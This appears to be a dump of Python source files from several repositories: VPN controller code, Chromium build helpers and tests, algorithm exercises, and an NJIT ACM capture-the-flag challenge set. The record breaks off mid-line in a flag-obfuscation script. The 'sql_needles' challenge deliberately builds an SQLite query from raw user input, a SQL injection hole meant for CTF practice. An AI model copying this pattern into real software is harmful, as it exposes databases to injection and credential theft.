self.parent)\n yield(\"child_count\", self.child_count)\n yield(\"completed\", self.completed)\n yield(\"op_type\", self.op_type)\n yield(\"request\", self.request)\n yield(\"response\", self.response)\n yield(\"time_create\", self.time_create)\n yield(\"time_submit\", self.time_submit)\n yield(\"time_complete\", self.time_complete)\n yield(\"time_free\", self.time_free)\n\n def set_request(self, initiator=\"\", recipient=\"\", action=\"\", params=\"\"):\n self.request.initiator = initiator\n self.request.recipient = recipient\n self.request.action = action\n self.request.params = params\n\n def set_response(self, data=\"\", status=False):\n self.op_type = \"Response\"\n self.response = self.Response()\n self.response.initiator = self.request.recipient\n self.response.recipient = self.request.initiator\n self.response.status = status\n self.response.data = data\n\n def set_as_parent(self, cbt):\n self.parent = cbt\n cbt.child_count = cbt.child_ount + 1\n", "id": "10556653", "language": "Python", "matching_score": 0.9242793917655945, "max_stars_count": 21, "path": "controller/framework/CBT.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom .NetworkGraph import ConnEdgeAdjacenctList\nfrom .NetworkGraph import ConnectionEdge\nfrom .NetworkGraph import EdgeTypesOut\n\n\nclass OperationsModel():\n def __init__(self, conn_edge, op_type, priority):\n self.conn_edge = conn_edge\n self.op_type = op_type\n self.op_priority = priority\n\n def __repr__(self):\n msg = \"connEdge = %s, opType = %s, opPriority=%s>\" % \\\n (self.conn_edge, self.op_type, self.op_priority)\n return msg\n\n\nclass NetworkOperations():\n def __init__(self, current_Network_State, desired_Network_State):\n self.current_Network_State = current_Network_State\n self.desired_Network_State = desired_Network_State\n self.operations = {}\n\n def __iter__(self):\n sorted_list = sorted(\n self.operations, key=lambda x: self.operations[x].op_priority)\n for x in sorted_list:\n yield self.operations[x]\n\n def __repr__(self):\n msg = \"currentNetworkState = %s, desiredNetworkState = %s, numOfOperations=%d, \" \\\n \"Operations=%s>\" % \\\n (self.current_Network_State, self.desired_Network_State,\n len(self.operations), self.operations)\n return msg\n\n def find_Difference(self):\n\n for edge in self.desired_Network_State.conn_edges:\n if edge not in self.current_Network_State.conn_edges:\n if self.desired_Network_State.conn_edges[edge].edge_type == 'CETypeEnforced':\n op = OperationsModel(\n self.desired_Network_State.conn_edges[edge], \"opTypeAdd\", 1)\n self.operations[edge] = op\n elif self.desired_Network_State.conn_edges[edge].edge_type == \"CETypeSuccessor\":\n op = OperationsModel(\n self.desired_Network_State.conn_edges[edge], \"opTypeAdd\", 2)\n self.operations[edge] = op\n elif self.desired_Network_State.conn_edges[edge].edge_type == \"CETypeOnDemand\":\n op = OperationsModel(\n self.desired_Network_State.conn_edges[edge], \"opTypeAdd\", 4)\n self.operations[edge] = op\n elif self.desired_Network_State.conn_edges[edge].edge_type == \"CETypeLongDistance\":\n op = OperationsModel(\n self.desired_Network_State.conn_edges[edge], \"opTypeAdd\", 7)\n self.operations[edge] = op\n else:\n op = OperationsModel(\n self.desired_Network_State.conn_edges[edge], \"opTypeUpdate\", 0)\n self.operations[edge] = op\n\n for edge in self.current_Network_State.conn_edges:\n if edge not in self.desired_Network_State.conn_edges:\n if self.current_Network_State.conn_edges[edge].edge_type in EdgeTypesOut:\n if self.current_Network_State.conn_edges[edge].edge_state == \"CEStateConnected\":\n if self.current_Network_State.conn_edges[edge].edge_type == \"CETypeOnDemand\":\n op = OperationsModel(\n self.current_Network_State.conn_edges[edge], \"opTypeRemove\", 3)\n self.operations[edge] = op\n elif self.current_Network_State.conn_edges[edge].edge_type == \"CETypeSuccessor\":\n op = OperationsModel(\n self.current_Network_State.conn_edges[edge], \"opTypeRemove\", 5)\n self.operations[edge] = op\n elif self.current_Network_State.conn_edges[edge].edge_type == \"CETypeLongDistance\":\n op = OperationsModel(\n self.current_Network_State.conn_edges[edge], \"opTypeRemove\", 6)\n self.operations[edge] = op\n", "id": "7689210", "language": "Python", "matching_score": 0.46944814920425415, "max_stars_count": 0, "path": "controller/modules/NetworkOperations.py" }, { "content": "# Copyright 2016 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport gn_helpers\nimport unittest\n\nclass UnitTest(unittest.TestCase):\n def test_ToGNString(self):\n self.assertEqual(\n gn_helpers.ToGNString([1, 'two', [ '\"thr$\\\\', True, False, [] ]]),\n '[ 1, \"two\", [ \"\\\\\"thr\\\\$\\\\\\\\\", true, false, [ ] ] ]')\n\n def test_UnescapeGNString(self):\n # Backslash followed by a \\, $, or \" means the folling character without\n # the special meaning. Backslash followed by everything else is a literal.\n self.assertEqual(\n gn_helpers.UnescapeGNString('\\\\as\\\\$\\\\\\\\asd\\\\\"'),\n '\\\\as$\\\\asd\"')\n\n def test_FromGNString(self):\n self.assertEqual(\n gn_helpers.FromGNString('[1, -20, true, false,[\"as\\\\\"\", []]]'),\n [ 1, -20, True, False, [ 'as\"', [] ] ])\n\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('123 456')\n parser.Parse()\n\n def test_ParseBool(self):\n parser = gn_helpers.GNValueParser('true')\n self.assertEqual(parser.Parse(), True)\n\n parser = gn_helpers.GNValueParser('false')\n self.assertEqual(parser.Parse(), False)\n\n def test_ParseNumber(self):\n parser = gn_helpers.GNValueParser('123')\n self.assertEqual(parser.ParseNumber(), 123)\n\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('')\n parser.ParseNumber()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('a123')\n parser.ParseNumber()\n\n def test_ParseString(self):\n parser = gn_helpers.GNValueParser('\"asdf\"')\n self.assertEqual(parser.ParseString(), 'asdf')\n\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('') # Empty.\n parser.ParseString()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('asdf') # Unquoted.\n parser.ParseString()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('\"trailing') # Unterminated.\n parser.ParseString()\n\n def test_ParseList(self):\n parser = gn_helpers.GNValueParser('[1,]') # Optional end comma OK.\n self.assertEqual(parser.ParseList(), [ 1 ])\n\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('') # Empty.\n parser.ParseList()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('asdf') # No [].\n parser.ParseList()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('[1, 2') # Unterminated\n parser.ParseList()\n with self.assertRaises(gn_helpers.GNException):\n parser = gn_helpers.GNValueParser('[1 2]') # No separating comma.\n parser.ParseList()\n\n def test_FromGNArgs(self):\n # Booleans and numbers should work; whitespace is allowed works.\n self.assertEqual(gn_helpers.FromGNArgs('foo = true\\nbar = 1\\n'),\n {'foo': True, 'bar': 1})\n\n # Whitespace is not required; strings should also work.\n self.assertEqual(gn_helpers.FromGNArgs('foo=\"bar baz\"'),\n {'foo': 'bar baz'})\n\n # Comments should work (and be ignored).\n gn_args_lines = [\n '# Top-level comment.',\n 'foo = true',\n 'bar = 1 # In-line comment.',\n ]\n self.assertEqual(gn_helpers.FromGNArgs('\\n'.join(gn_args_lines)),\n {'foo': True, 'bar': 1})\n\n # Lists should work.\n self.assertEqual(gn_helpers.FromGNArgs('foo=[1, 2, 3]'),\n {'foo': [1, 2, 3]})\n\n # Empty strings should return an empty dict.\n self.assertEqual(gn_helpers.FromGNArgs(''), {})\n self.assertEqual(gn_helpers.FromGNArgs(' \\n '), {})\n\n # Non-identifiers should raise an exception.\n with self.assertRaises(gn_helpers.GNException):\n gn_helpers.FromGNArgs('123 = true')\n\n # References to other variables should raise an exception.\n with self.assertRaises(gn_helpers.GNException):\n gn_helpers.FromGNArgs('foo = bar')\n\n # References to functions should raise an exception.\n with self.assertRaises(gn_helpers.GNException):\n gn_helpers.FromGNArgs('foo = exec_script(\"//build/baz.py\")')\n\n # Underscores in identifiers should work.\n self.assertEqual(gn_helpers.FromGNArgs('_foo = true'),\n {'_foo': True})\n self.assertEqual(gn_helpers.FromGNArgs('foo_bar = true'),\n {'foo_bar': True})\n self.assertEqual(gn_helpers.FromGNArgs('foo_=true'),\n {'foo_': True})\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "8690619", "language": "Python", "matching_score": 0.22898657619953156, "max_stars_count": 128, "path": "tincan/build/gn_helpers_unittest.py" }, { "content": "#!/usr/bin/env python\nimport os\nimport re\nimport subprocess\nimport sys\n\n# A regex matching an argument corresponding to the output filename passed to\n# link.exe.\n_LINK_EXE_OUT_ARG = re.compile('/OUT:(?P<out>.+)$', re.IGNORECASE)\n\ndef GetEnv(arch):\n \"\"\"Gets the saved environment from a file for a given architecture.\"\"\"\n # The environment is saved as an \"environment block\" (see CreateProcess\n # and msvs_emulation for details). We convert to a dict here.\n # Drop last 2 NULs, one for list terminator, one for trailing vs. separator.\n pairs = open(arch).read()[:-2].split('\\0')\n kvs = [item.split('=', 1) for item in pairs]\n return dict(kvs)\n\ndef UseSeparateMspdbsrv(env, args):\n \"\"\"Allows to use a unique instance of mspdbsrv.exe per linker instead of a\n shared one.\"\"\"\n if len(args) < 1:\n raise Exception(\"Not enough arguments\")\n\n if args[0] != 'link.exe':\n return\n\n # Use the output filename passed to the linker to generate an endpoint name\n # for mspdbsrv.exe.\n endpoint_name = None\n for arg in args:\n m = _LINK_EXE_OUT_ARG.match(arg)\n if m:\n endpoint_name = re.sub(r'\\W+', '',\n '%s_%d' % (m.group('out'), os.getpid()))\n break\n\n if endpoint_name is None:\n return\n\n # Adds the appropriate environment variable. This will be read by link.exe\n # to know which instance of mspdbsrv.exe it should connect to (if it's\n # not set then the default endpoint is used).\n env['_MSPDBSRV_ENDPOINT_'] = endpoint_name\n\ndef main(arch, use_separate_mspdbsrv, *args):\n \"\"\"Filter diagnostic output from link that looks like:\n ' Creating library ui.dll.lib and object ui.dll.exp'\n This happens when there are exports from the dll or exe.\n \"\"\"\n env = GetEnv(arch)\n if use_separate_mspdbsrv == 'True':\n UseSeparateMspdbsrv(env, args)\n link = subprocess.Popen([args[0].replace('/', '\\\\')] + list(args[1:]),\n shell=True,\n env=env,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n universal_newlines=True)\n out, _ = link.communicate()\n for line in out.splitlines():\n if not line.startswith(' Creating library '):\n print(line)\n return link.returncode\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv[1:]))\n", "id": "5601783", "language": "Python", "matching_score": 5.353766441345215, "max_stars_count": 21, "path": "tincan/build/toolchain/win/link_wrapper.py" }, { "content": "#!/usr/bin/env python\nimport subprocess\nimport sys\n\ndef GetEnv(arch):\n \"\"\"Gets the saved environment from a file for a given architecture.\"\"\"\n # The environment is saved as an \"environment block\" (see CreateProcess\n # and msvs_emulation for details). We convert to a dict here.\n # Drop last 2 NULs, one for list terminator, one for trailing vs. separator.\n pairs = open(arch).read()[:-2].split('\\0')\n kvs = [item.split('=', 1) for item in pairs]\n return dict(kvs)\n\ndef main(arch, *args):\n \"\"\"Filter logo banner from invocations of asm.exe.\"\"\"\n env = GetEnv(arch)\n popen = subprocess.Popen(args, shell=True, env=env, universal_newlines=True,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n out, _ = popen.communicate()\n for line in out.splitlines():\n if (not line.startswith('Copyright (C) Microsoft Corporation') and\n not line.startswith('Microsoft (R) Macro Assembler') and\n not line.startswith(' Assembling: ') and\n line):\n print(line)\n return popen.returncode\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv[1:]))\n", "id": "5240388", "language": "Python", "matching_score": 3.3920328617095947, "max_stars_count": 21, "path": "tincan/build/toolchain/win/asm_wrapper.py" } ]
3.392033
Jacks-Su
[ { "content": "# 动态规划 整数 在总量确定下寻找总价值最大的物品 最大是多少\r\n\r\nn = 5 # 物品数量(种类)\r\nw = [1, 1, 2, 4, 1] # (种类的重量)\r\nv = [7, 6, 9, 9, 8] # 物品的价值\r\nc = 4 # 总重量\r\nvalue = [[0 for j in range(c+1)] for i in range(n+1)] # 创建规划表 需要多一个零的行列做数据缓冲\r\n# print(value)\r\n# 定义 i j 为行和列\r\nfor i in range(1, n+1):\r\n for j in range(1, c+1):\r\n if j-w[i-1] >= 0:\r\n value[i][j] = max(v[i-1] + value[i-1][j-w[i-1]], value[i-1][j])\r\n else:\r\n value[i][j] = value[i-1][j]\r\n# 打印动态规划表\r\nfor x in value:\r\n print(x)\r\n# 输出最大值\r\nprint(\"最大的价值为:\", value[n][c])\r\n# 包内最大值时所包含的物品: 如果当前的物品加入包中,那么当前总价值大于前一行的总价值\r\n# 即最后一行最后一个数据和上一行的最后一个数据做对比,不相等即加入了最后一个物品\r\n# 最后一个物品的重量在背包中被减去那么下次对比的数据就是剩余重量中的每行的最大价值\r\n# 在本例中 最后一行10>上一行9 即最后一个物品加入 重量5 那么剩余重量3 第三行和第四行重量为3时相等即第三个物品没加入\r\n# 依次递推\r\na = [0 for i in range(n)]\r\nj = c\r\nfor i in range(n, 0, -1):\r\n if value[i][j] > value[i-1][j]:\r\n a[i-1] = 1\r\n j -= w[i-1]\r\nfor i in range(n):\r\n if a[i] == 1:\r\n print(\"第\", i+1, \"个物品加入包中,它的价值为:\", v[i])\r\n", "id": "9976606", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "Dynamic Programming/test.py" }, { "content": "a = [\"b\", \"l\", 'u', 'e']\r\nb = ['c', 'l', 'u', 'e', 's']\r\n\r\ncell = [[0 for j in range(len(b)+1)] for i in range(len(a)+1)]\r\n\r\nprint(cell[0][0])\r\nfor i in range(1, len(a)+1):\r\n for j in range(1, len(b)+1):\r\n if a[i-1] == b[j-1]:\r\n cell[i][j] = cell[i-1][j-1] + 1\r\n else:\r\n cell[i][j] = max(cell[i-1][j], cell[i][j-1])\r\nprint(cell)\r\n", "id": "6492717", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "Dynamic Programming/test2.py" }, { "content": "\r\n\r\nfrom collections import deque\r\n\r\ngraph = dict() # 定义字典\r\ngraph['your'] = ['alice', 'boob', 'claire']\r\ngraph['boob'] = ['anuj', 'peggy']\r\ngraph['alice'] = ['peggy']\r\ngraph['claire'] = ['thom', 'jonny']\r\ngraph['anuj'] = []\r\ngraph['peggy'] = []\r\ngraph['thom'] = []\r\ngraph['jonny'] = []\r\n\r\n\r\ndef person_is_seller(name):\r\n return name[-1] == 'm' # 终止条件\r\n\r\n\r\ndef search(graph):\r\n search_queue = deque() # 创建队列\r\n search_queue += graph[\"your\"] # your内的元素添加到队列\r\n searched = [] # 建立防止重复措施\r\n\r\n while search_queue:\r\n person = search_queue.popleft() # 返回列表中的第一个元素并删除列表中数值\r\n if person not in search_queue: # 防止重复\r\n if person_is_seller(person):\r\n print(searched)\r\n print(person + ' is a mango seller')\r\n return True\r\n else:\r\n search_queue += graph[person]\r\n searched.append(person)\r\n return False\r\n\r\n\r\ndef abc(graph): # 寻找最短路径\r\n queue1 = [('your', ['your'])] # 定义一个队列 ,包含yuor和路径\r\n while queue1:\r\n (a, b) = queue1.pop(0) # 将队列的值your赋予a,【your】赋予b\r\n for next1 in graph[a]: # 字典a相关的路径名字进行循环\r\n if person_is_seller(next1): # 寻到终止条件则返回路径\r\n h = b + [next1]\r\n else:\r\n queue1.append((next1, b + [next1])) # 没到终止条件 队列增加 路径b和a更新\r\n return h\r\n\r\n\r\nprint(abc(graph))\r\n", "id": "3779106", "language": "Python", "matching_score": 1.6433601379394531, "max_stars_count": 0, "path": "Hash table/qunue1.py" }, { "content": "# from collections import deque\r\ngraph = dict()\r\n# 权重这个说话并不严谨 理解.jpg\r\ngraph[\"yp\"] = {}\r\ngraph[\"yp\"][\"cp\"] = 5 # 字典包含每个节点到下一个节点的权重以及节点和节点的连接单向\r\ngraph[\"yp\"][\"hb\"] = 0\r\n\r\ngraph[\"cp\"] = {}\r\ngraph[\"hb\"] = {}\r\ngraph[\"cp\"][\"gt\"] = 15\r\ngraph[\"cp\"][\"jzg\"] = 20\r\ngraph[\"hb\"][\"gt\"] = 30\r\ngraph[\"hb\"][\"jzg\"] = 35\r\n\r\ngraph[\"gt\"] = {}\r\ngraph[\"jzg\"] = {}\r\ngraph[\"gt\"][\"gq\"] = 20\r\ngraph[\"jzg\"][\"gq\"] = 10\r\n\r\ngraph[\"gq\"] = {}\r\n\r\nparents = {} # 子系:父系 开头和未知的\r\nparents[\"cp\"] = \"yp\"\r\nparents[\"hb\"] = \"yp\"\r\nparents[\"gq\"] = None\r\n\r\ninfinity = float(\"inf\")\r\ncosts = {}\r\ncosts[\"cp\"] = 5 # 从起点到终点的权重,开始是已知的,过程节点是未知的,设置为最大 程序运行完会显示 全部权重\r\ncosts[\"hb\"] = 0\r\ncosts[\"gt\"] = infinity\r\ncosts[\"jzg\"] = infinity\r\ncosts[\"gq\"] = infinity\r\n\r\nprocessed = [] # 记录处理过的节点\r\n\r\n\r\ndef find_lowest_cost_node(costs): # 寻找权重最小的节点 将每个节点的数据进行对比,小的提出并返回\r\n lowest_cost = float(\"inf\")\r\n lowest_cost_node = None\r\n for node in costs:\r\n cost = costs[node]\r\n if cost < lowest_cost and node not in processed:\r\n lowest_cost = cost\r\n lowest_cost_node = node\r\n return lowest_cost_node\r\n\r\n\r\nnode = find_lowest_cost_node(costs)\r\nwhile node is not None: # 循环\r\n cost = costs[node] # cost 节点的权重 neig节点的子系\r\n neig = graph[node]\r\n\r\n for n in neig.keys(): # 节点子系循环\r\n new_cost = cost + neig[n] # 初始点到节点再到节点子系的权重和\r\n if costs[n] > new_cost: # 更新初始到当前节点的总权重\r\n costs[n] = new_cost\r\n parents[n] = node\r\n processed.append(node) # 添加记录点\r\n node = find_lowest_cost_node(costs)\r\n\r\nprint(costs)\r\nprint(parents)\r\n", "id": "740446", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "dijkstras_algorithm/test1.py" }, { "content": "# 递归计算列表元素数\r\n\r\n\r\ndef numArr(Arr):\r\n\r\n if len(Arr) == 0:\r\n num = 0\r\n return num\r\n\r\n else:\r\n Arr.pop(0)\r\n num = 1 + numArr(Arr)\r\n return num\r\n\r\n\r\nArr = [1, 2, 3, 4, 5, 7, 8] # 实例\r\na = [] # 实例\r\nprint(numArr(a))\r\n", "id": "8406774", "language": "Python", "matching_score": 1.381017804145813, "max_stars_count": 0, "path": "Select sort/number.py" }, { "content": "# 递归列表最大值\r\n\r\n\r\ndef maxNumber(Arr):\r\n a = Arr.pop(0)\r\n if len(Arr) == 0:\r\n return a\r\n\r\n b = maxNumber(Arr)\r\n if a > b:\r\n return a\r\n else:\r\n return b\r\n\r\n\r\nArr = [1, 2, 12, 4, 5, 7, 8] # 实例\r\na = [] # 实例\r\n\r\nprint(maxNumber(Arr))\r\n", "id": "10023101", "language": "Python", "matching_score": 1.4439681768417358, "max_stars_count": 0, "path": "Select sort/maxnumbeer.py" }, { "content": "# 递归计算列表的和\r\n\r\ndef Sum(Arr):\r\n if len(Arr) == 0:\r\n sum = 0\r\n return sum\r\n else:\r\n sum = Arr.pop(0) + Sum(Arr)\r\n return sum\r\n\r\n\r\nArr = [1, 2, 3, 5, 100, 20, 40]\r\na = []\r\n\r\nprint(Sum(a))\r\n", "id": "10158253", "language": "Python", "matching_score": 1.0383762121200562, "max_stars_count": 0, "path": "Select sort/sum.py" }, { "content": "# 快速排序\r\n\r\ndef quickSort(arr):\r\n if len(arr) < 2:\r\n return arr\r\n else:\r\n pivot = arr[0]\r\n less = [i for i in arr[1:] if i <= pivot]\r\n great = [i for i in arr[1:] if i > pivot]\r\n return quickSort(less) + [pivot] + quickSort(great)\r\n\r\n\r\nArr = [70, 6, 20, 4, 5, 7, 8] # 实例\r\n\r\nprint(quickSort(Arr))\r\n", "id": "10133577", "language": "Python", "matching_score": 1, "max_stars_count": 0, "path": "Select sort/quicksort.py" }, { "content": "# 计算方块最大,...\r\n\r\ndef MAXq(arr):\r\n\r\n if arr[0] % arr[1] == 0:\r\n return arr[1] # return 栈相关\r\n else:\r\n d = arr[0] % arr[1]\r\n arr = [arr[1], d]\r\n # print(c)\r\n return MAXq(arr) # 推一下流程\r\n\r\n\r\narr = [1680, 640]\r\n\r\nprint(MAXq(arr))\r\n", "id": "1459233", "language": "Python", "matching_score": 0.9992336630821228, "max_stars_count": 0, "path": "Select sort/Common factor.py" } ]
1
cheungzi
[ { "content": "import re\nfrom typing import Union\n\nfrom sqlparse.sql import Identifier, IdentifierList, Parenthesis, Token\nfrom sqlparse.tokens import Literal\n\nfrom sqllineage.core.handlers.base import NextTokenBaseHandler\nfrom sqllineage.core.holders import SubQueryLineageHolder\nfrom sqllineage.core.models import Path, SubQuery, Table\nfrom sqllineage.exceptions import SQLLineageException\nfrom sqllineage.utils.sqlparse import get_subquery_parentheses\n\n\nclass SourceHandler(NextTokenBaseHandler):\n \"\"\"Source Table Handler.\"\"\"\n\n SOURCE_TABLE_TOKENS = (\n r\"FROM\",\n # inspired by https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/keywords.py\n r\"((LEFT\\s+|RIGHT\\s+|FULL\\s+)?(INNER\\s+|OUTER\\s+|STRAIGHT\\s+)?|(CROSS\\s+|NATURAL\\s+)?)?JOIN\",\n )\n\n def _indicate(self, token: Token) -> bool:\n return any(\n re.match(regex, token.normalized) for regex in self.SOURCE_TABLE_TOKENS\n )\n\n def _handle(self, token: Token, holder: SubQueryLineageHolder) -> None:\n if isinstance(token, Identifier):\n self._add_identifier_to_read(token, holder)\n elif isinstance(token, IdentifierList):\n # This is to support join in ANSI-89 syntax\n for identifier in token.get_sublists():\n self._add_identifier_to_read(identifier, holder)\n elif isinstance(token, Parenthesis):\n # SELECT col1 FROM (SELECT col2 FROM tab1), the subquery will be parsed as Parenthesis\n # This syntax without alias for subquery is invalid in MySQL, while valid for SparkSQL\n holder.add_read(SubQuery.of(token, None))\n elif token.ttype == Literal.String.Single:\n holder.add_read(Path(token.value))\n else:\n raise SQLLineageException(\n \"An Identifier is expected, got %s[value: %s] instead.\"\n % (type(token).__name__, token)\n )\n\n @classmethod\n def _add_identifier_to_read(\n cls, identifier: Identifier, holder: SubQueryLineageHolder\n ):\n path_match = re.match(r\"(parquet|csv|json)\\.`(.*)`\", identifier.value)\n if path_match is not None:\n holder.add_read(Path(path_match.groups()[1]))\n else:\n read: Union[Table, SubQuery, None] = None\n subqueries = get_subquery_parentheses(identifier)\n if len(subqueries) > 0:\n # SELECT col1 FROM (SELECT col2 FROM tab1) dt, the subquery will be parsed as Identifier\n # referring https://github.com/andialbrecht/sqlparse/issues/218 for further information\n parenthesis, alias = subqueries[0]\n read = SubQuery.of(parenthesis, alias)\n else:\n cte_dict = {s.alias: s for s in holder.cte}\n if \".\" not in identifier.value:\n cte = cte_dict.get(identifier.get_real_name())\n if cte is not None:\n # could reference CTE with or without alias\n read = SubQuery.of(\n cte.token,\n identifier.get_alias() or identifier.get_real_name(),\n )\n if read is None:\n read = Table.of(identifier)\n holder.add_read(read)\n", "id": "4927907", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "sqllineage/core/handlers/source.py" } ]
0
njitacm
[ { "content": "\"\"\"\nfilename: makeChallenge.py\nPurpose: To automate the creation of challenges on the repository.\nUsage: python3 makeChallenge.py <ChallengeName>\nReturn(s): \n ./<ChallengeName>\n ./<ChallengeName>/challenge\n ./<ChallengeName>/solution\n ./<ChallengeName>/README.md\n --> # <ChallengeName>\n\"\"\"\n\nimport sys\nimport os\n\ndef usage():\n print(f\"Be sure to have a Challenge Name!\")\n print(f\"Usage:\")\n print(f\"python3 makeChallenge.py <ChallengeName>\")\n\n\n# Quick Function to make a file\nmakeFile = lambda file: open(file, \"x\")\n\n# main -> Returns a standardized process for a single challenge\ndef main(challenge_name):\n README = f\"{challenge_name}/README.md\"\n\n # Creates `./<ChallengeName>`\n os.mkdir(f\"{challenge_name}\")\n\n # Creates `./<ChallengeName>/challenge`\n os.mkdir(f\"{challenge_name}/challenge\")\n\n # Creates `./<ChallengeName>/README.md`\n makeFile(f\"{README}\")\n\n with open(f\"{README}\", \"r+\") as f:\n f.write(f\"# {challenge_name}\\n\")\n\n\n# Ensures that users are using the program correctly\nif __name__ == \"__main__\":\n try:\n challenge_name = sys.argv[1]\n main(challenge_name)\n except:\n usage()\n", "id": "4503789", "language": "Python", "matching_score": 4.582321643829346, "max_stars_count": 16, "path": "makeChallenge.py" }, { "content": "\"\"\"\nfilename: createWriteup.py\nPurpose: (Standardizaiton) To automate the process of creating a write-up\nUsage: python3 createWriteup.py <NameHandle>\nReturn(s): \n ./<NameHandle>\n ./<NameHandle>/solution\n ./<NameHandle>/README.md\n --> # <NameHandle>\n\"\"\"\n\nimport sys\nimport os\n\ndef usage():\n print(f\"Be sure to have your name / handle!\")\n print(f\"Usage:\")\n print(f\"python3 createWriteup.py <NameHandle>\")\n\n\n# Quick Function to make a file\nmakeFile = lambda file: open(file, \"x\")\n\n# main -> Returns a standardized process for a single challenge\ndef main(name_handle):\n README = f\"{name_handle}/README.md\"\n\n # Creates `./<NameHandle>`\n os.mkdir(f\"{name_handle}\")\n\n # Creates `./<NameHandle>/solution`\n os.mkdir(f\"{name_handle}/solution\")\n\n # Creates `./<NameHandle>/README.md`\n makeFile(f\"{README}\")\n\n with open(f\"{README}\", \"r+\") as f:\n f.write(f\"# {name_handle}'s Write-up for (INSERT CHALLENGE NAME)\\n\")\n\n\n# Ensures that users are using the program correctly\nif __name__ == \"__main__\":\n try:\n name_handle = sys.argv[1]\n main(name_handle)\n except:\n usage()\n", "id": "12601182", "language": "Python", "matching_score": 0.662004292011261, "max_stars_count": 16, "path": "createWriteup.py" }, { "content": "#!/usr/bin/python3\n\nimport sqlite3\nfrom CONSTANTS import DB_NAME\n\nconn = sqlite3.connect(f\"{DB_NAME}\")\n\ncur = conn.cursor()\n\n# https://docs.python.org/3/library/sqlite3.html \n# --> Check for cur.executemany\n\ncur.execute('INSERT INTO users (ID, NAME, PASSWD) Values (1, \"admin\", \"<PASSWORD>}\")')\nconn.commit()\nconn.close()", "id": "4813470", "language": "Python", "matching_score": 3.292638063430786, "max_stars_count": 16, "path": "web/sql_needles/challenge/dbInsert.py" }, { "content": "#!/usr/bin/python3\n\nimport sqlite3\nfrom CONSTANTS import DB_NAME\n\nconn = sqlite3.connect(f\"{DB_NAME}\")\ncur = conn.cursor()\n\ncur.execute('''CREATE TABLE users\n (ID INT PRIMARY KEY NOT NULL,\n NAME TEXT NOT NULL,\n PASSWD TEXT NOT NULL);\n''')\n\nprint(f\"Table created successfully\")\n\nconn.commit()\nconn.close()", "id": "11863019", "language": "Python", "matching_score": 2.291430950164795, "max_stars_count": 16, "path": "web/sql_needles/challenge/dbInit.py" }, { "content": "import sqlite3\nimport sys\n\n\nwith sqlite3.connect(\"vuln.db\") as conn:\n cur = conn.cursor()\n\n user = sys.argv[1]\n passwd = sys.argv[2]\n\n output = cur.execute(f\"SELECT passwd FROM users WHERE name = '{user}' AND passwd = '{passwd}'\")\n\n for value in output:\n print(f\"{value}\")", "id": "6353358", "language": "Python", "matching_score": 2.205535650253296, "max_stars_count": 16, "path": "web/sql_needles/challenge/connDB.py" }, { "content": "#!/bin/env/python3\n\n\"\"\"\nProgram is meant to show how to \n\"\"\"\n\nimport sqlite3\nfrom CONSTANTS import DB_NAME\n\nwith sqlite3.connect(f\"{DB_NAME}\") as conn:\n read = conn.execute(\"SELECT * FROM users\")\n for row in read:\n print(row) ", "id": "912488", "language": "Python", "matching_score": 1.6441900730133057, "max_stars_count": 16, "path": "web/sql_needles/challenge/dbView.py" }, { "content": "#!/bin/env/python3\n\nDB_NAME = \"vuln.db\"", "id": "1751396", "language": "Python", "matching_score": 0.02941686473786831, "max_stars_count": 16, "path": "web/sql_needles/challenge/CONSTANTS.py" }, { "content": "import sys\n\nFLAG = \"jctf{hexT0Int64bit-lemme-makeThisstring-gigantic-forKicks-Nice-work_0n-Cmps}\"\nendLine = \"\\n\"\ndef cringe_strings_vulnerable_method(flag):\n retStr = \"{'\"\n retStr += \"\\','\".join(list(flag))\n retStr += \"'}\"\n # print(retStr, len(flag))\n return retStr\n\nvarTemplate = lambda x: f'text[{x}]'\nprintfTemplate = lambda x: f'text[{x}]'\nfullLaziness = lambda length, values : f\"char smol_compress[{length}] = {values};\"\n\n\n# Does a quick compression to get past the age old and clever `strings` command \ndef chad_string_shatter_method(flag):\n print(flag, len(flag))\n sets = set(flag)\n\n \n # print(sets, len(sets))\n # ^ Needed because sets change all the time, bc sets lolz\n\n currSet = list(sets)\n print(fullLaziness(len(currSet), sets))\n \n bruhFull = \"char flag[] = \"\n\n for char in flag:\n idx = currSet.index(char)\n bruhFull += 